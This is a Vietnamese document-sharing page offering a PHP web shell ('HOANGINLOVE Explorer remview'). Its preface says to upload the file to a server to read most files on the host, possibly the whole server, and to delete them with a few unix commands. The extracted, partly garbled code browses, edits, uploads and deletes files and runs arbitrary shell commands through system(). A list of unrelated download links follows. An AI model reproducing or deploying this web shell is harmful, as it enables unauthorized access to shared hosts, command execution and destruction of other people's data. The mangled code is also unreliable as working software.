![](images/graphics/blank.gif)
View code
lượt xem 18
download
![](https://tailieu.vn/static/b2013az/templates/version1/default/images/down16x21.png)
.View code : trang này đã được đọc lần Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem
Bình luận(0) Đăng nhập để gửi bình luận!
Nội dung Text: View code
- .View code : trang này đã được đọc lần Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó.
- if ($action != "view"): ?> HOANGINLOVE Explorer remview } table, div, tr, td {font: 13 'Verdana'; color: } a {textdecoration: none; color: "#00ff00" } a:hover {textdecoration: underline; color: "#ff0000" } >
- sort($directories); sort($files); }; function showInfoDirectory($directory) { global $PHP_SELF; $dirs = split("/", $directory); print "Directory /"; for ($i = 1; $i 1024) printf("%.2f GBytes", $freeSpace/ (1024*1024*1024)); else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; }; function showDirectory($directory) { global $files, $directories, $fileInfo, $PHP_SELF; readDirectory($directory); showInfoDirectory($directory); ?> NAME SIZE
- LAST MODIF. PERMISSIONS ACTIONS
- $this>lastmod = date("m/d/y, H:i", filemtime($file)); $this>owner = fileowner($file); $this>perms = $this>permissions(fileperms($file)); $this>size = filesize($file); $this>isLink = is_link($file); if ($this>isLink) $this>linkTo = readlink($file); $buffer = explode(".", $this>fullname); $this>extension = $buffer[sizeof($buffer)1]; } }; $fileInfo = new fileInfo; function showFileInfo($fileInfo) { global $PHP_SELF, $associations; echo "\n"; if ($show_icons) { echo ""; if ($fileInfo>isDir) echo ""; elseif ($associations[$fileInfo>extension]["icon"] != "") echo "extension]["icon"]."\">"; else echo ""; echo ""; } echo ""; if ($fileInfo>isLink) { echo $fileInfo>name." > "; $fileInfo>fullname = $fileInfo>linkTo; $fileInfo>name = $fileInfo>linkTo; } if ($fileInfo>isDir) { echo "fullname\" "; echo ">$fileInfo>name"; }
- else echo $fileInfo>name; echo ""; echo "$fileInfo>size"; echo "$fileInfo>lastmod"; echo "$fileInfo>perms"; echo ""; if (!$fileInfo>isDir) { if ($fileInfo>perms[6] == 'r') { echo "fullname&action=view\"> View"; } if ($fileInfo>perms[7] == 'w') { echo "fullname&action=edit\"> Edit"; echo "fullname&action=delete\"> Del"; } } echo ""; }; function viewFile($file) { global $associations, $fileInfo; $fileInfo>getInfo($file); if (!$associations[$fileInfo>extension] || $associations[$fileInfo>extension] ["function"] == "") showFile($file); else $associations[$fileInfo>extension]["function"]($file); }; function showFile($file, $editing = 0) { global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR opening file $file"); if ($editing) echo " Edit file $file"; else echo "File $file"; echo "
- if ($editing) echo " action=\"$PHP_SELF?action=save&dir=$file\" method=\"post\""; echo ">"; $buffer = fread($handlerFile, filesize($file)); $buffer = str_replace("&", "&", $buffer); $buffer = str_replace("", $buffer); echo "$buffer"; if ($editing) echo " \n"; echo ""; fclose($handlerFile); }; function saveFile($file) { global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not open file ".basename($file)." for writing"); $text = stripslashes($text); fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file."); fclose($handlerFile); echo "Changes has been saved in ".basename($file).""; $dir = dirname($file); }; function uploadFile() { global $HTTP_POST_FILES,$dir;
- copy($HTTP_POST_FILES["userfile"][tmp_name], $dir."/". $HTTP_POST_FILES["userfile"][name]) or die("Error uploading file". $HTTP_POST_FILES["userfile"][name]); echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded."; //unlink($userfile); }; function deleteFile($file) { global $confirm; if ($confirm != TRUE) die("Confirm deletion of $file"); else { if (!unlink($file)) return FALSE; return TRUE; } }; function viewFileHeader($file, $header) { header($header); readfile($file); }; function viewGIF($file) { viewFileHeader($file, "Contenttype: image/gif"); }; function viewJPEG($file) { viewFileHeader($file, "Contenttype: image/jpeg"); }; switch ($action) { case "phpinfo": phpinfo(); die(); case "view": viewFile($dir); break; case "edit": showFile($dir, 1); break; case "download": viewFileHeader($dir, "Contenttype: unknown"); break; case "delete": if (!deleteFile($dir)) echo "Could not delete file $dir "; else echo "File $dir deleted succesfully
- "; $dir = dirname($dir); showDirectory($dir); break; case "exec": echo "\n"; echo system($dir); echo "\n"; exit(); case "upload": uploadFile(); showDirectory($dir); break; case "save": saveFile($dir); default: showDirectory($dir); break; }; if ($action != "view"): ?> > Jump to directory Create directory Execute shell cmd
- Error! Unknown switch argument.
![](images/graphics/blank.gif)
CÓ THỂ BẠN MUỐN DOWNLOAD
-
Tạo mục lục các Sheet trong Excel 2003
2 p |
897 |
290
-
BÀI GIẢNG : Microsoft Office FrontPage 2003
38 p |
572 |
196
-
Cách thiết kế giao diện trên Android
42 p |
351 |
109
-
Hướng dẫn lập trình cơ bản và nâng cao với Android 17
7 p |
206 |
101
-
Hướng dẫn lập trình cơ bản và nâng cao với Android 11
5 p |
238 |
87
-
Lập trình web .Chương 4: Dreamweaver
34 p |
176 |
47
-
View code bằng file PHP
6 p |
198 |
27
-
Chương 3 - Cấu trúc điều khiển trong C
51 p |
133 |
21
-
Giáo trình hướng dẫn lập trình cơ bản với hệ điều hành mở Androi 3.1 p3
5 p |
71 |
10
-
Để thay đổi Hình Ảnh Của trình diễn trên trang flash sẽ làm như sau. Mở DW .
3 p |
161 |
10
-
Thủ thuật View code
9 p |
78 |
9
-
Lecture TCP-IP protocol suite - Chapter 15: Application layer and client-server model
20 p |
61 |
4
-
Hướng dẫn lập trình cơ bản với Android - Phần 7: Tìm hiểu Android Manifest
5 p |
56 |
4
-
Bài giảng Phát triển phần mềm nguồn mở: Bài 7 - Nguyễn Hữu Thể
81 p |
23 |
3
-
Hướng dẫn lập trình cơ bản với Android - Phần 12: Bài tập thực hành
5 p |
66 |
2
![](images/icons/closefanbox.gif)
![](images/icons/closefanbox.gif)
Chịu trách nhiệm nội dung:
Nguyễn Công Hà - Giám đốc Công ty TNHH TÀI LIỆU TRỰC TUYẾN VI NA
LIÊN HỆ
Địa chỉ: P402, 54A Nơ Trang Long, Phường 14, Q.Bình Thạnh, TP.HCM
Hotline: 093 303 0098
Email: support@tailieu.vn
![](https://tailieu.vn/static/b2013az/templates/version1/default/js/fancybox2/source/ajax_loader.gif)